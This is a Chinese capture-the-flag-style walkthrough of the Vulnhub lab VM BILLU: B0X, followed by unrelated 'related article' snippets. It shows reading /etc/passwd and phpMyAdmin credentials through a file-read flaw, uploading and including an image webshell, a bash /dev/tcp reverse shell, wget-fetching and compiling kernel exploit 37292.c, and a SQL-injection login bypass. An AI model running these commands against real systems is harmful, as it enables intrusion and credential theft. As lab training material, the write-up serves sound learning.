Vulnhub 渗透练习(二)—— BILLU: B0X

news2025/3/1 1:09:44

环境下载

下载链接

环境搭建

直接用 vmware 打开,设为 NAT 模式。

信息收集

nmap 扫描

主机扫描:

nmap -sP 192.168.200.0/24

在这里插入图片描述
端口扫描:

nmap -sV 192.168.200.129 

开了一个 80 端口 apache 服务,和 ssh 服务,后面可以

在这里插入图片描述

目录扫描

扫个目录,发现很多奇怪的目录。
在这里插入图片描述

排查信息

add 是一个可以上传文件的地方,不过传到哪就不知道了。
在这里插入图片描述
/in 是 phpinfo
在这里插入图片描述

/phpmy 是 phpmyadmin
在这里插入图片描述
/test 可以读取文件,那么我们把重要的几个先读一下呗。

/etc/passwd,有 root 权限,和 ica 用户。
在这里插入图片描述
既然有 phpmyadmin 那么就读一下它的配置目录 /var/www/phpmy/config.inc.php

发现一串 root 密码,ssh 尝试登录 root 成功。。。。

在这里插入图片描述

渗透

00x1:读配置,ssh连接

通过 test 目录的文件读取 phpmyadmin 的配置信息,获得 root 密码,又因为目标靶机开了 22 端口,所以我们可以直接 ssh 登录。

在这里插入图片描述

00x2:文件包含+图片马,提权

刚才我们才读了几个配置文件,还没有读取 php 文件。

c.php 中又数据库密码,登录 phpmyadmin
在这里插入图片描述
发现网站用户的密码。

在这里插入图片描述
登录后,添加用户页面是 penal.php,通过 test 读取它的源码。

在这里插入图片描述
penal.php 最主要的就是俩个功能,一个文件包含,还有一个就是文件上传,且上传的目录也告诉我们了,/uploaded_images

在这里插入图片描述
上传一个图片马。
在这里插入图片描述

然后可以用 panel.php 来包含它。
在这里插入图片描述
反弹 shell

echo "bash -i >& /dev/tcp/192.168.200.128/9999 0>&1" | bash

最好使用 url 编码一下,不知道为什么 直接 bash -i >& /dev/tcp/192.168.200.128/9999 0>&1 成功不了。

在这里插入图片描述
在这里插入图片描述
搜索一下有没有相关的内核漏洞,或者系统漏洞。
在这里插入图片描述
在这里插入图片描述
搜索漏洞:

searchsploit ubuntu 12.04

在这里插入图片描述

查看目标靶机哪个文件夹可写,uploaded_images 可写。

在这里插入图片描述
在攻击机上把 37292.c 复制到 /var/www/html 目录下

sudo cp 37292.c /var/www/html 

最后在靶机上依次执行如下命令,当然这边用 wget 下载,我们攻击机开个 apache 服务就行了,本来可以在攻击机上直接编译好,然后直接传 exp,但是kail 上编译的时候一直报错,就只能到靶机上编译了。(好吧只要升级一下 gcc 就行了 - _ -)

cd /var/www/uploaded_images
wget http://192.168.200.128/37292.c
chmod 777 37292.c
gcc 37292.c -o exp
./exp

在这里插入图片描述

在这里插入图片描述

00x3

开始页面的 sql 注入,可以用一个 \ 符号,绕过引号闭合,令 username 为 or 1=1 永真就行了。

select * from auth where password='123' and username='123'
select * from auth where password='123\' and username='  or 1=1 – '

其他操作都一样。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/347061.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

时间轮算法概念

概述 在一些中间件中我们经常见到时间轮控制并发和熔断。 那么这个时间轮具体是什么呢,又是怎么使用的呢。 简介 其实时间轮可以简单的理解成我们日常生活中的时钟。 时钟里的指针一直在不停的转动,利用这个我们可以实现定时任务,目前lin…

c入门数的编程 拆数,构造数,c语言字符找出数字拼接,水仙花数 将一个多位数各位拆分

学会构造数和拆分数 目录 学会构造数和拆分数 1:一个三位数,求其各位数字之和 补充:将一个多位数各位拆分求和,(不知道位数怎么求) 2:串中取数(字符转数字) 3&#…

大数据之-Nifi-Nifi的应用场景1_创建并配置getfile处理器---大数据之Nifi工作笔记0004

来说一下nifi的应用场景,首先添加一个GETFILE处理器 添加以后设置处理器名称 设置处理器属性 getfile处理器的属性解释 这个加黑的是必须要选择的,非加黑的可以先不进行选择 这里我们只是设置这个input directory就可以了

是面试官放水,还是公司实在是太缺人?这都没挂,华为原来这么容易进...

华为是大企业,是不是很难进去啊?” “在华为做软件测试,能得到很好的发展吗? 一进去就有9.5K,其实也没有想的那么难” 直到现在,心情都还是无比激动! 本人211非科班,之前在字节和腾…

PMP是不是要考第七版了?

现在确实已经到第七版了,但是第六版还是需要学习的,就是结合两个版本去备考,新考纲把很多内容都缩减了,增加了敏捷管理的内容,但是第六版有很多详细的解析,所以如果你想稳一点,那么两个版本都需…

win10本地连接Xftp7时,压缩文件命名乱码解决方案

win10本地连接Xftp7时,压缩文件命名乱码解决方案1.问题如下图所示:2.解决方案如下: (1)如上所展示的问题,是因为所默认选则的语言是中文,计算机直接编译返回。 (2)修改属性中的选项中的编码语言&#xff0c…

Spring的概述

Spring框架是为解决企业应用开发的复杂性而诞生,它简化了Java应用开发,提高了应用开发的可测试性和可重用性。 Spring的核心理念是控制反转(IoC),其通过依赖注入(DI)的方式来实现控制反转。 Ja…

XQuery 简介

XQuery 简介 解释 XQuery 最佳方式是这样讲:XQuery 相对于 XML 的关系,等同于 SQL 相对于数据库表的关系。 XQuery 被设计用来查询 XML 数据 - 不仅仅限于 XML 文件,还包括任何可以 XML 形态呈现的数据,包括数据库。 您应该具备的…

我用python疯狂爬取公司数据

我是半路从一个纯小白学过来的,学习途中也掉过许多坑,在这里建议新手要先把基础打扎实,然后再去学习自己需要的内容,不要想着全部学完再用,那样你是永远学不完的,用哪方面就学习哪方面的内容,不…

Vue常用的修饰符有哪些有什么应用场景

Vue常用的修饰符有哪些有什么应用场景Vue常用的修饰符有哪些有什么应用场景一、修饰符是什么二、修饰符的作用表单修饰符lazytrimnumber事件修饰符stoppreventselfoncecapturepassivenative鼠标按钮修饰符键盘修饰符v-bind修饰符asyncpropscamel三、应用场景参考文献Vue常用的修…

Linux多线程开发

一、线程 1、线程概述 与进程(process)类似,线程(thread)是允许应用程序并发执行多个任务的一种机制。一个进程可以包含多个线程。同一个程序中的所有线程均会独立执行相同程序,且共享同一份全局内存区域…

Power BI: NATURALINNERJOIN的使用

查看官方的文档&#xff0c;NATURALINNERJOIN描述是这样的&#xff1a;语法NATURALINNERJOIN(<LeftTable>, <RightTable>) 参数术语定义LeftTable用于定义联接左侧的表的表表达式。RightTable用于定义联接右侧的表的表表达式。返回值一个表&#xff0c;仅包含两个…

张俊林:由ChatGPT反思大语言模型(LLM)的技术精要

ChatGPT出现后惊喜或惊醒了很多人。惊喜是因为没想到大型语言模型&#xff08;LLM,Large Language Model&#xff09;效果能好成这样&#xff1b;惊醒是顿悟到我们对LLM的认知及发展理念&#xff0c;距离世界最先进的想法&#xff0c;差得有点远。我属于既惊喜又惊醒的那一批&a…

Linux进程间通信(管道)

进程间通信的目的 数据传输&#xff1a;一个进程需要将它的数据发送给另一个进程 资源共享&#xff1a;多个进程之间共享同样的资源。 通知事件&#xff1a;一个进程需要向另一个或一组进程发送消息&#xff0c;通知它&#xff08;它们&#xff09;发生了某种事件&#xff08;如…

Ubuntu20.04开启VNC远程服务配置教程

对于使用过PVE的大佬来说&#xff0c;在自己电脑安装虚拟机打开的画面惨不忍睹&#xff0c;其实它只是用错了地方。 今天给大家介绍一款控制工具&#xff0c;它叫VNC&#xff0c;是用来进行远程连接的非常好用的工具可以很完美的适配自己电脑的屏幕。显示效果如下&#xff1a;…

【Spark分布式内存计算框架——Spark SQL】3. SparkSQL 概述(下)、DataFrame

2.2 官方定义 SparkSQL模块官方定义&#xff1a;针对结构化数据处理Spark Module模块。 主要包含三层含义&#xff1a; 第一、针对结构化数据处理&#xff0c;属于Spark框架一个部分 结构化数据&#xff1a;一般指数据有固定的 Schema(约束)&#xff0c;例如在用户表中&…

MapReduce paper(2004)-阅读笔记

文章目录前言摘要&#xff08;Abstract)一、引言( Introduction)二、编程模型&#xff08;Programming Model&#xff09;三、实现&#xff08;Implementation&#xff09;3.1、执行概述&#xff08;Execution Overview&#xff09;3.2、主节点数据结构&#xff08;Master Data…

im 应用多点登录和消息漫游架构

本文主要节选和总结自沈剑大佬的 微信多点登录与QQ消息漫游架构随想和文章的评论&#xff0c;略有删改 1、多点登录和消息漫游架构 多点登录指的是同个账号可以在多类终端(安卓、pc)同时登录&#xff0c;但是同类终端只能在唯一的一台设备上登录。 消息漫游指的是服务端保存聊天…

超详细讲解线性表和顺序表!!

超详细讲解线性表和顺序表&#xff01;&#xff01;线性表顺序表顺序表的概念及结构静态顺序表动态顺序表顺序表接口实现1、创建2、初始化3、扩容4、尾插5、打印6、销毁7、尾删8、头插9、头删10、插入任意位置11、删除任意位置12、查找13、修改线性表 线性表&#xff08;linea…

分析C语言位域的访问开销

背景 C语言的位域用于描述结构体的指定字段占多少bit&#xff0c;使得多个字段可以存到一个字节里&#xff0c;也可以让一个字段占多个字节。它能减小结构体的内存占用&#xff0c;同时还能精确限定结构体字段的取值范围。 问题的提出 项目上有个硬件模块&#xff0c;它输入…